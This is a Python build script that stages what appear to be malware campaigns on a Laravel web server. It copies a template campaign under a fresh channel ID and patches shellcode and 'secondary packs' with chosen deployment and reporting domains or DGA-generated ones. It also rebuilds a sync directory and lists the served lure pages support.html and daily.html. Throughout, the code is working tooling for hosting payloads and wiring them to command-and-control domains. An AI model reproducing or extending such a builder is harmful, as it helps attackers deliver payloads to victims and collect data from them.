#!/usr/bin/env python3 """Build server/public campaign trees from source/ with new channel + domains. Each run creates a new web// (32 hex). sync/ is rebuilt only when Deployment/Reporting domains change (or on first run). Re-running with the same domains only adds another web// and leaves sync/ + prior campaigns. """ from __future__ import annotations import argparse import json import shutil import subprocess import sys from pathlib import Path from _channel_patch import gen_channel_id, validate_channel_id from _domain_patch import parse_domain_list TOOLS = Path(__file__).resolve().parent LAB_ROOT = TOOLS.parent SOURCE_ROOT = LAB_ROOT / "source" APPLY_ROOT = LAB_ROOT / "server" / "public" ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" def _ignore_junk(_dir: str, names: list[str]) -> set[str]: skip = {"_bak", "__pycache__", ".DS_Store"} return {n for n in names if n in skip or n.endswith(".pyc")} def replace_tree(src: Path, dst: Path) -> None: if dst.exists(): shutil.rmtree(dst) shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk) def copy_campaign_template(dst_campaign: Path) -> None: src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID if not src.is_dir(): raise SystemExit(f"missing source campaign: {src}") if dst_campaign.exists(): raise SystemExit(f"campaign already exists: {dst_campaign}") shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk) def load_json(path: Path) -> dict | None: if not path.is_file(): return None return json.loads(path.read_text()) def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool: if not prev or prev.get("mode") != "fixed_domains": return False return ( prev.get("deployment", {}).get("domains") == dep and prev.get("reporting", {}).get("domains") == rep ) def pick_channel(explicit: str | None, web_root: Path) -> str: channel = validate_channel_id(explicit) if explicit else gen_channel_id() while (web_root / channel).exists(): if explicit: raise SystemExit(f"web/{channel} already exists; choose another --channel-id") channel = gen_channel_id() return channel def run(cmd: list[str]) -> None: print("+", " ".join(cmd), flush=True) subprocess.run(cmd, cwd=str(LAB_ROOT), check=True) def main() -> int: parser = argparse.ArgumentParser( description=( "From source/, create server/public/web// with a new " "channel id and patched secondary packs; rebuild sync/ when domains change." ) ) parser.add_argument( "--channel-id", help="optional 32-hex channel id (default: random, unique under web/)", ) parser.add_argument("--deployment-seed", help="optional; default: random or reuse") parser.add_argument("--reporting-seed", help="optional; default: random or reuse") parser.add_argument( "--deployment-domains", action="append", default=[], help="fixed Deployment hosts (comma-separated or repeatable)", ) parser.add_argument( "--reporting-domains", action="append", default=[], help="fixed Reporting hosts (comma-separated or repeatable)", ) parser.add_argument( "-n", "--count", type=int, default=5, help="DGA candidates to print when not using fixed domains (default 5)", ) parser.add_argument( "--force-sync", action="store_true", help="rebuild sync/ even when domains match the previous project", ) parser.add_argument( "--skip-patch", action="store_true", help="only copy source campaign+sync into server/public (no binary patch)", ) args = parser.parse_args() if bool(args.deployment_domains) != bool(args.reporting_domains): raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") if not args.deployment_domains and not args.skip_patch: raise SystemExit( "new_project requires --deployment-domains / --reporting-domains " "(or --skip-patch for a raw source copy)" ) src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID src_sync = SOURCE_ROOT / "sync" if not src_campaign.is_dir(): raise SystemExit(f"missing source campaign: {src_campaign}") if not src_sync.is_dir(): raise SystemExit(f"missing source sync: {src_sync}") APPLY_ROOT.mkdir(parents=True, exist_ok=True) web_root = APPLY_ROOT / "web" sync_dir = APPLY_ROOT / "sync" out_root = APPLY_ROOT / "out" out_root.mkdir(parents=True, exist_ok=True) web_root.mkdir(parents=True, exist_ok=True) channel = pick_channel(args.channel_id, web_root) campaign_dir = web_root / channel fixed_dep = ( parse_domain_list(args.deployment_domains, label="deployment") if args.deployment_domains else None ) fixed_rep = ( parse_domain_list(args.reporting_domains, label="reporting") if args.reporting_domains else None ) prev_domains = load_json(out_root / "domains.json") prev_seeds = load_json(out_root / "seeds.json") sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file() same_domains = ( fixed_dep is not None and fixed_rep is not None and domains_equal(prev_domains, fixed_dep, fixed_rep) and sync_ready and not args.force_sync ) print("=== new_project ===") print(f"channel: {channel}") print(f"web dest: {campaign_dir}") if fixed_dep is not None: print(f"domains: {'reuse sync (unchanged)' if same_domains else 'rebuild sync'}") print(f" deployment: {', '.join(fixed_dep)}") print(f" reporting: {', '.join(fixed_rep)}") print() print("=== copy campaign template ===") print(f"from: {src_campaign}") print(f"to: {campaign_dir}") copy_campaign_template(campaign_dir) print(f"created web/{channel}/") if args.skip_patch: if not sync_ready: print("=== copy sync from source ===") replace_tree(src_sync, sync_dir) (out_root / "channel.json").write_text( json.dumps({"channel_id": channel, "patched": False}, indent=2) + "\n" ) print("skip-patch: done") return 0 assert fixed_dep is not None and fixed_rep is not None py = sys.executable domain_args: list[str] = [] for item in fixed_dep: domain_args += ["--deployment-domains", item] for item in fixed_rep: domain_args += ["--reporting-domains", item] if same_domains: # Reuse seeds so fixed-domain shellcode matches existing sync/. dep = args.deployment_seed or (prev_seeds or {}).get("deployment_seed") rep = args.reporting_seed or (prev_seeds or {}).get("reporting_seed") if not dep or not rep: raise SystemExit( "domains unchanged but out/seeds.json missing seeds; " "pass --deployment-seed/--reporting-seed or --force-sync" ) print("=== domains unchanged: patch secondary only ===") print(f"reuse seeds dep={dep} rep={rep}") run( [ py, str(TOOLS / "patch_secondary_packs.py"), "--deployment-seed", dep, "--reporting-seed", rep, "--channel-id", channel, *domain_args, "--root", str(APPLY_ROOT), "--apply", ] ) (out_root / "channel.json").write_text( json.dumps( { "channel_id": channel, "patched": True, "sync_rebuilt": False, "deployment_seed": dep, "reporting_seed": rep, "deployment_domains": fixed_dep, "reporting_domains": fixed_rep, }, indent=2, ) + "\n" ) else: print("=== domains new/changed: reset sync + full patch ===") replace_tree(src_sync, sync_dir) print(f"copied sync/ -> {sync_dir}") cmd = [ py, str(TOOLS / "patch_all.py"), "--apply", "--root", str(APPLY_ROOT), "--channel-id", channel, "-n", str(args.count), *domain_args, ] if args.deployment_seed: cmd += ["--deployment-seed", args.deployment_seed] if args.reporting_seed: cmd += ["--reporting-seed", args.reporting_seed] print() print("=== patch_all --apply ===") run(cmd) seeds = load_json(out_root / "seeds.json") or {} (out_root / "channel.json").write_text( json.dumps( { "channel_id": channel, "patched": True, "sync_rebuilt": True, "deployment_seed": seeds.get("deployment_seed"), "reporting_seed": seeds.get("reporting_seed"), "deployment_domains": fixed_dep, "reporting_domains": fixed_rep, }, indent=2, ) + "\n" ) print() print("=== ready ===") print(f"web: {campaign_dir}") print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})") print(f"channel: {out_root / 'channel.json'}") print(f"seeds: {out_root / 'seeds.json'}") print(f"domains: {out_root / 'domains.json'}") print() print("served by Laravel public:") print(f" /web/{channel}/support.html") print(" /sync/daily.html") return 0 if __name__ == "__main__": raise SystemExit(main())